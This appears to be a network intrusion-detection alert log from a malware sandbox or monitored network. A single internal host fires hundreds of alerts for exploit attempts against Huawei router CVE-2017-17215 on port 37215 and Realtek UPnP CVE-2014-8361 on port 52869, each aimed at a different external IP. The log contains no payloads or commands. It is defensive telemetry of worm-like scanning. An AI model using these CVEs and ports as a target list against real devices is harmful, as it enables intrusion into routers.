07/20/24-23:01:04.861979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35668	37215	192.168.2.13	197.66.47.215
07/20/24-23:01:12.358719	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50724	37215	192.168.2.13	216.77.121.39
07/20/24-23:01:21.761772	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51806	52869	192.168.2.13	13.207.20.98
07/20/24-23:01:04.879348	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55374	37215	192.168.2.13	157.242.34.8
07/20/24-23:01:14.512354	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37882	52869	192.168.2.13	27.117.118.67
07/20/24-23:01:04.842729	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38750	37215	192.168.2.13	197.240.195.159
07/20/24-23:01:02.703502	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55220	37215	192.168.2.13	157.155.116.140
07/20/24-23:01:04.848636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59888	37215	192.168.2.13	197.79.63.222
07/20/24-23:01:12.543114	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52066	37215	192.168.2.13	52.240.106.131
07/20/24-23:01:15.661882	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57180	37215	192.168.2.13	12.173.147.135
07/20/24-23:01:32.244559	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49654	37215	192.168.2.13	125.17.139.79
07/20/24-23:01:06.800492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33708	37215	192.168.2.13	197.228.188.147
07/20/24-23:01:14.530141	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33810	52869	192.168.2.13	114.0.228.232
07/20/24-23:01:06.862597	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58804	52869	192.168.2.13	61.114.188.190
07/20/24-23:01:06.808312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51400	37215	192.168.2.13	197.27.193.119
07/20/24-23:01:12.539005	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37380	37215	192.168.2.13	41.232.220.239
07/20/24-23:01:04.758874	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36080	52869	192.168.2.13	175.10.79.147
07/20/24-23:01:14.502058	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33634	52869	192.168.2.13	193.107.65.164
07/20/24-23:01:32.207539	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40170	37215	192.168.2.13	17.74.167.61
07/20/24-23:01:14.536390	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50636	52869	192.168.2.13	183.32.240.14
07/20/24-23:01:25.460589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45514	37215	192.168.2.13	69.50.110.174
07/20/24-23:01:12.502954	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45644	37215	192.168.2.13	197.114.230.33
07/20/24-23:01:25.388755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43644	37215	192.168.2.13	87.172.255.48
07/20/24-23:01:14.536391	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56476	52869	192.168.2.13	99.160.201.206
07/20/24-23:01:04.848636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40130	37215	192.168.2.13	41.37.206.254
07/20/24-23:01:03.850478	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41808	52869	192.168.2.13	173.70.195.138
07/20/24-23:01:27.357903	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52044	52869	192.168.2.13	197.89.201.126
07/20/24-23:01:06.868773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49536	52869	192.168.2.13	53.36.224.51
07/20/24-23:01:04.918465	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36642	37215	192.168.2.13	197.210.219.94
07/20/24-23:01:12.487419	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51510	37215	192.168.2.13	41.98.177.78
07/20/24-23:01:14.543026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39282	52869	192.168.2.13	13.5.180.251
07/20/24-23:01:32.276800	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42844	37215	192.168.2.13	157.126.80.17
07/20/24-23:01:14.500799	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55128	52869	192.168.2.13	168.214.55.135
07/20/24-23:01:14.512728	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51050	52869	192.168.2.13	162.160.111.35
07/20/24-23:01:04.870311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46644	37215	192.168.2.13	41.212.233.130
07/20/24-23:00:59.021621	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34700	37215	192.168.2.13	197.209.60.212
07/20/24-23:01:12.533730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37750	37215	192.168.2.13	197.97.33.116
07/20/24-23:01:22.791883	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36804	37215	192.168.2.13	197.84.148.83
07/20/24-23:01:25.390960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57216	37215	192.168.2.13	41.22.18.106
07/20/24-23:01:22.739607	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57346	37215	192.168.2.13	157.206.169.214
07/20/24-23:01:06.801544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54168	37215	192.168.2.13	157.146.23.122
07/20/24-23:01:08.381149	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55616	37215	192.168.2.13	157.62.139.88
07/20/24-23:01:14.517363	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42652	52869	192.168.2.13	35.117.84.161
07/20/24-23:01:14.542240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36096	52869	192.168.2.13	72.246.92.233
07/20/24-23:01:22.738019	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44800	37215	192.168.2.13	197.205.59.72
07/20/24-23:01:02.620832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52190	37215	192.168.2.13	157.45.209.254
07/20/24-23:01:25.390486	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60798	37215	192.168.2.13	77.192.178.62
07/20/24-23:01:02.682054	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58952	37215	192.168.2.13	41.170.154.240
07/20/24-23:01:27.366334	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36698	52869	192.168.2.13	70.153.220.198
07/20/24-23:01:25.389524	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49852	37215	192.168.2.13	64.153.153.170
07/20/24-23:01:27.358600	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32812	52869	192.168.2.13	159.48.133.27
07/20/24-23:01:36.780614	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43280	37215	192.168.2.13	41.23.159.9
07/20/24-23:01:14.546238	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46434	52869	192.168.2.13	47.216.94.0
07/20/24-23:01:02.703502	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42394	37215	192.168.2.13	98.25.171.48
07/20/24-23:01:12.517792	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54460	37215	192.168.2.13	197.87.42.249
07/20/24-23:01:12.360353	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42732	37215	192.168.2.13	157.228.104.183
07/20/24-23:01:27.286229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34686	37215	192.168.2.13	41.86.141.31
07/20/24-23:01:08.449909	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37432	37215	192.168.2.13	157.252.128.8
07/20/24-23:01:12.492810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57638	37215	192.168.2.13	157.105.107.221
07/20/24-23:01:04.848605	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52836	37215	192.168.2.13	205.213.110.131
07/20/24-23:01:14.512728	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44228	52869	192.168.2.13	39.238.204.107
07/20/24-23:01:06.800492	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45468	37215	192.168.2.13	148.226.232.73
07/20/24-23:01:32.213464	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35778	37215	192.168.2.13	197.73.181.97
07/20/24-23:00:59.019713	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45044	37215	192.168.2.13	159.247.186.213
07/20/24-23:01:22.737893	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56356	37215	192.168.2.13	197.20.227.180
07/20/24-23:01:02.607205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40330	37215	192.168.2.13	157.137.243.27
07/20/24-23:01:20.578573	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59362	52869	192.168.2.13	134.45.224.216
07/20/24-23:01:14.998326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44852	37215	192.168.2.13	141.161.207.179
07/20/24-23:01:04.917925	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49820	37215	192.168.2.13	197.201.223.21
07/20/24-23:01:17.786876	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57890	37215	192.168.2.13	157.113.228.229
07/20/24-23:01:06.800492	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39584	37215	192.168.2.13	157.151.150.92
07/20/24-23:01:02.601732	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49966	37215	192.168.2.13	197.13.115.180
07/20/24-23:01:08.381149	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41216	37215	192.168.2.13	157.247.234.47
07/20/24-23:01:22.745836	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39904	37215	192.168.2.13	67.42.171.251
07/20/24-23:01:25.391404	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39626	37215	192.168.2.13	41.58.92.58
07/20/24-23:01:04.842729	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49432	37215	192.168.2.13	157.81.239.235
07/20/24-23:00:59.022391	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49894	37215	192.168.2.13	114.104.89.214
07/20/24-23:01:08.455372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60768	37215	192.168.2.13	197.247.171.83
07/20/24-23:01:02.624280	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53904	37215	192.168.2.13	157.130.93.53
07/20/24-23:01:22.812907	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41036	37215	192.168.2.13	157.121.72.96
07/20/24-23:01:32.244559	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38710	37215	192.168.2.13	157.196.38.186
07/20/24-23:00:59.022704	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52206	37215	192.168.2.13	157.132.248.230
07/20/24-23:01:22.744419	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44212	37215	192.168.2.13	74.43.158.18
07/20/24-23:01:02.685657	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44042	37215	192.168.2.13	197.26.124.173
07/20/24-23:01:14.558193	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60966	52869	192.168.2.13	80.49.148.206
07/20/24-23:01:06.841059	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54588	37215	192.168.2.13	41.14.140.1
07/20/24-23:01:32.208939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47714	37215	192.168.2.13	41.46.161.28
07/20/24-23:01:25.390486	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36836	37215	192.168.2.13	157.167.36.126
07/20/24-23:01:25.397771	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57354	37215	192.168.2.13	41.55.93.197
07/20/24-23:01:22.747861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34918	37215	192.168.2.13	157.249.182.246
07/20/24-23:01:22.819750	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57852	37215	192.168.2.13	197.107.164.81
07/20/24-23:01:32.192487	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54900	37215	192.168.2.13	149.71.231.248
07/20/24-23:01:22.746527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44604	37215	192.168.2.13	197.22.166.130
07/20/24-23:01:02.630936	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46242	37215	192.168.2.13	197.182.149.227
07/20/24-23:01:14.513053	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48524	52869	192.168.2.13	80.226.91.150
07/20/24-23:01:03.972311	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60658	52869	192.168.2.13	180.57.201.161
07/20/24-23:01:22.746773	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57406	37215	192.168.2.13	157.82.18.219
07/20/24-23:01:27.263646	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46940	37215	192.168.2.13	197.8.247.80
07/20/24-23:00:59.022895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42636	37215	192.168.2.13	41.135.156.196
07/20/24-23:01:14.551639	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34660	52869	192.168.2.13	153.105.129.20
07/20/24-23:01:14.513824	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49474	52869	192.168.2.13	183.33.143.75
07/20/24-23:02:07.841025	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36792	37215	192.168.2.13	197.142.201.149
07/20/24-23:01:21.646701	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32804	52869	192.168.2.13	51.92.99.71
07/20/24-23:01:21.751574	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38160	52869	192.168.2.13	218.4.141.45
07/20/24-23:01:08.381624	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53524	37215	192.168.2.13	41.179.179.173
07/20/24-23:00:59.022115	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55466	37215	192.168.2.13	41.70.65.103
07/20/24-23:01:36.794115	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37164	37215	192.168.2.13	157.13.135.234
07/20/24-23:01:14.502058	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41154	52869	192.168.2.13	204.46.251.166
07/20/24-23:01:25.443184	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35976	37215	192.168.2.13	41.61.74.227
07/20/24-23:01:14.556193	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44522	52869	192.168.2.13	32.227.60.125
07/20/24-23:01:14.526400	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34820	52869	192.168.2.13	176.69.59.228
07/20/24-23:01:17.793503	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38248	37215	192.168.2.13	161.170.71.80
07/20/24-23:01:14.521865	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44396	52869	192.168.2.13	204.52.130.30
07/20/24-23:01:20.458035	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44230	52869	192.168.2.13	37.40.108.99
07/20/24-23:01:27.229449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50928	37215	192.168.2.13	41.211.137.240
07/20/24-23:01:25.390544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41820	37215	192.168.2.13	197.240.221.77
07/20/24-23:01:07.537583	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34676	52869	192.168.2.13	188.112.111.250
07/20/24-23:01:15.110016	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33436	37215	192.168.2.13	157.69.116.205
07/20/24-23:00:59.021511	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43748	37215	192.168.2.13	183.18.158.37
07/20/24-23:00:59.021890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49998	37215	192.168.2.13	197.54.41.117
07/20/24-23:01:06.199510	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51056	52869	192.168.2.13	168.69.38.135
07/20/24-23:01:14.543026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33018	52869	192.168.2.13	164.8.255.47
07/20/24-23:01:22.740155	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42816	37215	192.168.2.13	197.109.81.120
07/20/24-23:01:08.435254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34262	37215	192.168.2.13	119.212.55.61
07/20/24-23:01:17.790236	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51378	37215	192.168.2.13	175.213.105.130
07/20/24-23:01:27.226586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41492	37215	192.168.2.13	197.154.31.142
07/20/24-23:01:04.855996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38412	37215	192.168.2.13	41.167.217.21
07/20/24-23:01:02.607205	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44092	37215	192.168.2.13	197.206.209.177
07/20/24-23:01:14.500759	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40920	52869	192.168.2.13	52.185.40.220
07/20/24-23:01:36.781603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44268	37215	192.168.2.13	41.113.63.215
07/20/24-23:01:04.870311	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50726	37215	192.168.2.13	197.189.146.222
07/20/24-23:01:27.352817	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42974	52869	192.168.2.13	80.238.42.16
07/20/24-23:01:12.533730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56068	37215	192.168.2.13	41.37.133.136
07/20/24-23:01:25.406212	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38342	37215	192.168.2.13	61.168.45.140
07/20/24-23:01:27.353289	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40290	52869	192.168.2.13	123.81.251.53
07/20/24-23:01:06.801053	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49606	37215	192.168.2.13	157.126.248.157
07/20/24-23:01:02.699257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35252	37215	192.168.2.13	170.253.218.179
07/20/24-23:01:14.527949	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43912	52869	192.168.2.13	158.159.28.203
07/20/24-23:01:27.277398	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44480	37215	192.168.2.13	41.84.179.49
07/20/24-23:01:14.516654	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60086	52869	192.168.2.13	126.209.245.77
07/20/24-23:01:04.848605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56222	37215	192.168.2.13	171.255.58.196
07/20/24-23:01:27.359674	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43126	52869	192.168.2.13	186.183.79.214
07/20/24-23:01:36.780780	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58760	37215	192.168.2.13	197.147.162.60
07/20/24-23:01:04.977218	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60772	52869	192.168.2.13	71.240.247.135
07/20/24-23:01:27.362964	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59164	52869	192.168.2.13	89.83.219.148
07/20/24-23:01:04.892375	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56074	37215	192.168.2.13	41.37.83.90
07/20/24-23:01:25.391568	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37654	37215	192.168.2.13	157.85.40.21
07/20/24-23:01:02.594487	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47378	37215	192.168.2.13	157.12.134.58
07/20/24-23:01:08.400738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39256	37215	192.168.2.13	157.190.82.16
07/20/24-23:01:15.000002	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40170	37215	192.168.2.13	222.17.83.67
07/20/24-23:01:04.572286	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59000	52869	192.168.2.13	188.226.47.52
07/20/24-23:01:08.459273	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33184	37215	192.168.2.13	60.186.118.133
07/20/24-23:01:27.363405	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47474	52869	192.168.2.13	83.171.246.211
07/20/24-23:01:32.199687	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37458	37215	192.168.2.13	157.111.45.112
07/20/24-23:01:14.546163	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59498	52869	192.168.2.13	177.130.98.196
07/20/24-23:01:27.237697	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40302	37215	192.168.2.13	157.48.188.69
07/20/24-23:00:59.022603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44874	37215	192.168.2.13	116.156.175.81
07/20/24-23:01:22.746527	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60772	37215	192.168.2.13	197.144.140.73
07/20/24-23:01:06.804996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40206	37215	192.168.2.13	41.76.130.145
07/20/24-23:01:06.612454	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46722	52869	192.168.2.13	212.236.125.79
07/20/24-23:01:02.661070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51910	37215	192.168.2.13	157.125.89.203
07/20/24-23:01:12.553660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45418	37215	192.168.2.13	41.7.165.251
07/20/24-23:01:08.435254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41996	37215	192.168.2.13	157.251.250.48
07/20/24-23:01:04.977218	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51762	52869	192.168.2.13	84.26.238.160
07/20/24-23:01:08.435254	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33870	37215	192.168.2.13	157.82.80.76
07/20/24-23:01:17.779183	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53404	37215	192.168.2.13	221.164.90.189
07/20/24-23:01:32.267589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40862	37215	192.168.2.13	41.13.56.61
07/20/24-23:01:06.189033	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60722	52869	192.168.2.13	78.145.139.16
07/20/24-23:01:36.812730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43568	37215	192.168.2.13	41.67.215.252
07/20/24-23:01:02.594487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34794	37215	192.168.2.13	197.74.4.205
07/20/24-23:01:05.440548	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60468	52869	192.168.2.13	170.54.95.252
07/20/24-23:01:07.271169	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48956	52869	192.168.2.13	219.243.137.80
07/20/24-23:00:59.022255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57130	37215	192.168.2.13	41.187.2.103
07/20/24-23:01:14.998084	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54550	37215	192.168.2.13	41.34.181.62
07/20/24-23:01:32.202245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57942	37215	192.168.2.13	157.178.191.248
07/20/24-23:01:15.071046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56858	37215	192.168.2.13	197.102.68.253
